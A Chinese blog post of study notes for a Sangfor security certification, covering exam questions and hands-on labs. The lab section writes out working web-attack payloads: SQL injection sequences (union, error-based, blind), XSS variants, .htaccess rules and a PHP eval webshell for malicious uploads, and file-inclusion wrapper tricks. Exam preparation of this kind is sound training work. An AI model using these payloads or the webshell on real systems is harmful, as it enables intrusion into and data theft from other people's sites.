深信服认证题目摘要

Posted by Leo on 2023-11-19
Estimated Reading Time 10 Minutes
Words 2.5k In Total

客观题

网络安全概述

image-20231122215949226


image-20231122220002242


image-20231123211313893

怪不得17年开始全国成立那么多网络空间安全学院

image-20231123211604394

“网络运营者为用户办理网络接入、域名注册服务,办理固定电话、移动电话等入网手续,或者为用户提供信息发布、即时通讯等服务,应当要求用户提供真实身份信息。”

原来实名制是这个意思

渗透测试基础

image-20231123130550156

根域名服务器不提供具体的域名解析服务


image-20231123131819798

AAAA 是将域名解析到IPv6


image-20231123132007587


image-20231123135042250


image-20231123152711432


HTTP

image-20231119165753754

URL 一定是 URI;URN + URL 就是 URI

URL是URI的一种实现形式

image-20231119142542833

image-20231119165815187

进行一次握手就一直请求-响应,后来效率还是不够高,发明了管道技术


SQL注入

image-20231119165839193


image-20231119165856112


image-20231119165642510

注意substrleft函数的区别


image-20231119170633557


image-20231119170648543


XSS

image-20231119204608535

浏览器天然不支持Cookie字段跨域,但token单独是一个首部字段,可以跨域


image-20231119204903655

session固定是客户端做的,session start是服务器分配session的操作


image-20231119205211814

DOM 将文档表示为节点和对象;将一个无序的文档以面向对象的思想交给js处理


image-20231119205921417

<是特殊字符,&lt是特殊编码


命令执行漏洞

image-20231119212238071

第一个命令正确时只执行第二个,否则都不会执行

image-20231119212337891

image-20231119213143944

基线配置

image-20231122213911722

账号自动锁定属于授权管理,增加口令复杂度是对访问进行严格的限制


image-20231122213945025


image-20231123202411537


image-20231123202709077


image-20231123203507253

requestreadtimeout用于防止HTTP的慢速请求攻击

http慢速攻击是利用http合法机制,在建立连接后,尽量长时间保持连接,不释放,达到对HTTP服务攻击,攻击者发送POST请求,自行构造报文向服务器提交数据,将报文长度设置一个很大的值,且在随后每次发送中,每次只发送一个很小的报文,这样导致服务器一直等待数据,连接始终一直被占用。


image-20231123204035227

在Linux系统中,文件和目录的权限由一个三位数的数字表示。每个数字对应于文件或目录的不同权限类别。以下是这三个数字的含义:

  1. 第一个数字表示所有者(Owner)的权限。
  2. 第二个数字表示所属组(Group)的权限。
  3. 第三个数字表示其他人(Others)的权限。

每个数字可以是 0 到 7 之间的一个值,对应于不同的权限组合。以下是每个数字及其对应的权限含义:

  • 0:没有权限(—)
  • 1:执行权限(–x)
  • 2:写权限(-w-)
  • 3:写和执行权限(-wx)
  • 4:读权限(r–)
  • 5:读和执行权限(r-x)
  • 6:读和写权限(rw-)
  • 7:读、写和执行权限(rwx)

日志文件属于很重要的秘密文件,/etc/passwd也仅仅是644

安全事件处置

image-20231123204413713

必须参照相关管理文件,有理有据,不能参照普通员工建议。


image-20231123205157714

Windows可以创建隐藏用户:创建用户——>导出注册表——>删除用户——>导入注册表


image-20231123210018433

实验

SQL注入

确认注入点:

1
2
3
4
5
6
7
8
数字型
id=1' 报错(报错说明存在注入点,否则只是查不到,下面判断数字型还是字符型)
id=1 and 1=1 不报错
id=1 and 1=2 报错
字符型
id=1' 报错
id=1' and '1'='1 不报错
id=1' and '1'='2 报错

1
2
3
4
5
6
id=1' order by 1--+
id=1' and 1=2 union select 1,2,3--+
id=1' and 1=2 union select 1,2,database()--+
id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='xxx'--+
column_name/information_schema.columns/table_name
id=1' and 1=2 union select 1,2,concat_ws('=',username,password) from security.users limit 0,1--+

1
id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
1
id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 1,1

前者是一个字段的多行记录,用group_concat,后者是一条记录的多个字段,用concat或者concat_ws


注释用--时要加空格,有时用+填充,POST注入时用#注入


1
uname=admin'#&passwd=123&submit=Submit

这样是以admin用户身份登录的

1
uname=admin' or 1=1-- &passwd=123&submit=Submit

这样是绕过查询校验,获得的是第一条记录,不一定是以管理员身份登录的


  • extractvalue函数一共两个参数,第二个参数注入

  • updatexml函数一共三个参数,第二个参数注入

  • floorrandcountgroup by联用

  • 注意这些只是函数不是语句,不能单独使用,只能用AND去依附某些数据项而使用

    id=1','','') and extractvalue(1, concat('~',database()))# (×)

    id=1' AND extractvalue(1, concat('~',database())),'')#(√)

    AND在这里用于形成布尔表达式

extractvalue报错注入时,返回最大字符长度为32,常使用limit函数限制逐条读取,记得不加group_concat函数


floor函数报错注入参考链接:Floor报错原理分析 - ka1n4t - 博客园 (cnblogs.com)Mysql报错注入原理分析(count()、rand()、group by) (qq.com)

floor(rand(0)*2)提供报错因子,group bycount提供报错环境

payload:id=1' and (select 1 from (select count(*),concat(database(),'===',floor(rand(0)*2)) as x from information_schema.tables group by x)y)--+

id=1' and (select 1 from(select count(*),concat(database(),'=',floor(rand(0)*2))x from xxx gruop by x)y)--+

Mysql规定用户新提取出的临时表必须有别名,所以要加一个y;报错select语句的表可以是任意数据库中存在的表;最后套上一个select 1 from后加上括号就可以了


1
2
3
4
5
id=1' and length(database())=7--+
id=1' and substr(database(),2,1)='e'--+
id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='e'--+

id=1' and if(substr(database(),1,1)='s',sleep(5),1)--+

手工进行布尔盲注时,应该使用limit函数一项一项地爆破,比如一下子返回了好几个表名,但是没有使用concat函数族拼接在一起,直接进行字符串的substr操作就会发生语法错误


XSS

几种payload变形

1
2
3
4
5
6
<a href="javascript:alert("xss");"> this is a xss </a>
<img src=xxx.com.xx onerror=alert("xss");>
大小写
/ 代替空格
<img src=xxx.com.xx onerror =alert("xss");> 加回车
编码

文件上传

::$DATA


.htaccess的三种写法

  1. 将内容符合php语法规则的文件当作php文件解析

    1
    SetHandler Application/x-httpd-php
  2. 匹配文件名中的关键字,如:当文件名[info.php.png] 中包含关键字[.php],会被当作php执行

    1
    AddHandler php5-script .php
  3. 匹配文件名,当.htaccess文件内容如下,可以将匹配到的文件名的文件中的代码执行

    1
    2
    3
    <FilesMatch "sxf">
    SetHandler Application/x-httpd-php
    </FilesMatch>

GIF的文件头是GIF89a,可以直接在php文件的最上面添加

1
2
3
4
5
6
7
8
GIF89a
<?php
phpinfo();
?>

<?php
eval($_REQUEST['cmd']);
?>

其他的文件头绕过的图片马制作命令是

1
2
3
copy 1.jpg/b+1.php/a 2.jpg
# 参数/b指定以二进制格式复制、合并文件,用于图像类/声音类文件(bin)
# 参数/a指定以ASCII格式复制、合并文件,用于txt等文档类文件(ascii)

这里是服务器对客户发来的请求路径的解析漏洞,和前面的文件上传漏洞不同,前面是直接上传一个木马,可以让服务器正常解析,而这里针对的是图片马,文件包含是一种让服务器解析执行图片马的方式,这里是服务器对客户请求路径解析不当,因为服务器解析依据的也是路径中的文件后缀名,最终错误将图片马(jpg)按照php去执行了

  1. IIS文件解析漏洞

    IIS服务器除了可以执行.asp文件,还可以执行.cer.asa文件

    1. IIS 6.0

      两种漏洞利用方式:

      1. 如果存在名为xxx.asp的目录,该目录中的文件都会被当成asp程序执行;
      2. 上传名为xxx.asp;.jpg的文件,由于含有特殊符号 ;,会被当成asp程序执行
    2. IIS 7.5

      和Nginx文件解析漏洞一样

  2. Apache文件解析漏洞:

    Apache本身没有解析漏洞,虽然可以把多个后缀不断从右向左识别(类似Nginx的路径修复),但将文件交给php_module解析时由于不认识第一个后缀,不会执行,但开发人员为了方便,将配置文件改成只要识别到php就执行,并且没有按照正则只匹配最后一个后缀,这才出现了漏洞,只要上传并访问shell.php.jpg即可

  3. Nginx文件解析漏洞:

    漏洞触发条件是在访问已经上传的shell.jpg时在后面再加上shell.php,即shell.jpg/shell.php,正常情况下服务器看到最后的后缀是php,会交给php去执行,但php发现这个路径不存在php文件,删掉右边路径,得到shell.jpg,存在文件,又因为php不能执行jpg文件,发生报错,但将配置文件改成允许解析其他格式文件为php就会触发漏洞

  4. Tomcat任意文件上传漏洞(不属于解析漏洞)

    Tomcat默认配置readyonly=true,不允许DELETEPUT请求头,但如果改成false,可以通过PUT方法上传JSP文件,执行任意代码,注意在请求报文修改请求头为PUT,路径文件名后面加空格(%20)绕过后缀名过滤


文件包含

通过参数传递文件地址

1
2
3
本地:a=…/01/1.jpg
远程:a=http://操作机ip/include.php
也可以不包含可执行文件(php),包含一些敏感文件(日志),只是为了在前端读取

PHP伪协议

1
2
3
4
5
page=php://input	参数通过POST传递
page=zip://C:/server/apache22/htdocs/up/upload/info.zip%23info.txt 绝对路径,空格转%23
page=data://text/plain,<?php phpinfo();?>
page=phar:///up/upload/info.zip/info.txt 绝对路径和相对路径均可
可以通过报错暴露网站目录结构


本着互联网开源的性质,欢迎分享这篇文章,以帮助到更多的人,谢谢!